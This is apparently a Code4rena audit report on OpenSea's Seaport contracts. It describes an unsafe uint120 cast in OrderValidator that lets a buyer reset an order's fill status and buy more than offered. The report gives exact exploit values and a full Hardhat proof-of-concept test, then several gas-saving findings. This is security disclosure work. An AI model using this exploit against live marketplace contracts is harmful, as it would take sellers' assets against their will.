OpenSea Seaport contest - ming's results

Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L228-L231

Vulnerability details

_orderStatus[orderHash].numerator = uint120(
    filledNumerator + numerator
);
_orderStatus[orderHash].denominator = uint120(denominator);

When an order is filled partially, the order's denominator and numerator will be updated in OrderValidator.sol#_validateOrderAndUpdateStatus based on the previous filledNumerator and filledDenominator, and the numerator and denominator of the current fulfill order.

However, in the current implementation, both the order's denominator and numerator in the storage and the buyer's inputs will be converted to uint256 and multiply to the new values.

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L209-L211

// the supplied numerator & denominator by current denominator.
numerator *= filledDenominator;
denominator *= filledDenominator;

This makes it possible for the new values to exceed type(uint120).max, and later when updating order status and fill amount, they will be cast to uint120 unsafely.

A sophisticated attacker can send buy orders with specially designed values for denominator and numerator to manipulate the fill amount of the seller's order, then use unsafe type casting to reset the denominator and numerator to 0 and buy the entire offered amount again, effectively buying more against the seller's will.

Impact

One of the most important requirements of a marketplace protocol is that it MUST ensure that orders are fulfilled at the agreed-upon exchange rate (aka price) for an agreed-upon amount (quantity).

To put it another way, if the seller created an order to sell 3 apples for $1 each, the marketplace protocol MUST NOT accept a buy order for 5 cents per apple, nor a buy order for $1 million to buy 1 million apples. Even if there are 1 million apples in the seller's warehouse and the seller did give the key to the marketplace.

As a result, we believe that allowing the buyer to buy more than the offered amount is inherently wrong, and that it "places most or all user funds at risk," where the funds, in this case, are the assets that sit in the seller's wallet and have been approved to the protocol, can be bought and transferred to the buyer/attacker against the seller's will.

The impacted scenarios can be quite common in practice: "flash sale" is very popular among online marketplaces, where sellers sell products at a discounted price for a very limited quantity.

If a seller uses the seaport protocol to host a similar "flash sale" for their tokens and/or NFTs, the financial damage from such an attack can be severe.

PoC

Given:

• orderType: PARTIAL_OPEN
• offer: 100

The attacker can:

1. Send the first fulfill order with:

• order.numerator = 2**117
• order.denominator = 2**119

• the attacker successfully bought 25

Updated orderStatus:

• orderStatus.numerator = 166153499473114484112975882535043072
• orderStatus.denominator = 664613997892457936451903530140172288

2. Send the second fulfill order with:

• order.numerator = 4
• order.denominator = 16

• the attacker successfully bought 25, total bought amount is now: 50

• orderStatus.numerator = 0
• orderStatus.denominator = 0

3. Repeat step 1 and step 2, until the seller's approval or balance is drained.

This is the test script we wrote for this proof of concept:

it("Partial fills (oversold)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000,
    null,
    10
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const nftBalanceOfSeller = await testERC1155.balanceOf(
    seller.address,
    nftId
  );

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );
  // 1/4
  order.numerator = ethers.BigNumber.from(2).pow(117);
  order.denominator = ethers.BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  const nftBalanceOfSeller1 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[1]", nftBalanceOfSeller1);
  console.log("orderStatus [1]", orderStatus);

  expect(nftBalanceOfSeller1).to.be.equal(
    nftBalanceOfSeller.sub(amount.mul(10).div(4).mul(1))
  );

  order.numerator = ethers.BigNumber.from(2).pow(4).div(4); // fill two tenths or one fifth
  order.denominator = ethers.BigNumber.from(2).pow(4); // fill two tenths or one fifth

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  console.log("orderStatus [2]", orderStatus);

  const nftBalanceOfSeller2 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[2]", nftBalanceOfSeller2);

  expect(nftBalanceOfSeller2).to.be.equal(
    nftBalanceOfSeller1.sub(amount.mul(10).div(4).mul(1))
  );

  order.numerator = 1;
  order.denominator = 1;

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  console.log("orderStatus[3]", orderStatus);

  const nftBalanceOfSeller3 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[3]", nftBalanceOfSeller3);

  expect(nftBalanceOfSeller3.toNumber()).to.be.greaterThanOrEqual(
    nftBalanceOfSeller.sub(amount.mul(10)).toNumber()
  );
});

Recommendation

Consider removing the casting from uint120 to uint256 before the multiply, making the transaction revert when the multiply overflows.

Adding unchecked directive can save gas

For the arithmetic operations that will never over/underflow, using the unchecked directive (Solidity v0.8 has default overflow/underflow checks) can save some gas from the unnecessary internal over/underflow checks.

For example:

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/conduit/ConduitController.sol#L137-L152

    // Determine whether the updated channel is already tracked as open.
    bool channelPreviouslyOpen = channelIndexPlusOne != 0;

    // If the channel has been set to open and was previously closed...
    if (isOpen && !channelPreviouslyOpen) {
        // Add the channel to the channels array for the conduit.
        conduitProperties.channels.push(channel);

        // Add new open channel length to associated mapping as index + 1.
        conduitProperties.channelIndexesPlusOne[channel] = (
            conduitProperties.channels.length
        );
    } else if (!isOpen && channelPreviouslyOpen) {
        // Set a previously open channel as closed via "swap & pop" method.
        // Decrement located index to get the index of the closed channel.
        uint256 removedChannelIndex = channelIndexPlusOne - 1;

channelPreviouslyOpen is true means that channelIndexPlusOne != 0, and channelIndexPlusOne is uint256, then channelIndexPlusOne - 1 will never underflow.

Setting uint256 variables to 0 is redundant

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/AmountDeriver.sol#L44

    uint256 extraCeiling = 0;

Setting uint256 variables to 0 is redundant as they default to 0.

Other examples include:

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderCombiner.sol#L470

    uint256 totalFilteredExecutions = 0;

Using constant value instead this.[functionName].selector is more gas efficient

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/conduit/Conduit.sol#L79-L80

    // Return a magic value indicating that the transfers were performed.
    magicValue = this.execute.selector;

Recommendation

Change to:

uint256 constant execute_selector_signature = (
    0x4ce34aa200000000000000000000000000000000000000000000000000000000
);

bytes4 constant execute_selector = bytes4(
    bytes32(execute_selector_signature)
);

...

// Return a magic value indicating that the transfers were performed.
magicValue = execute_selector;

Based on our tests, this change can save 21 gas.

Other examples include:

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/conduit/Conduit.sol#L112-L113

    // Return a magic value indicating that the transfers were performed.
    magicValue = this.executeBatch1155.selector;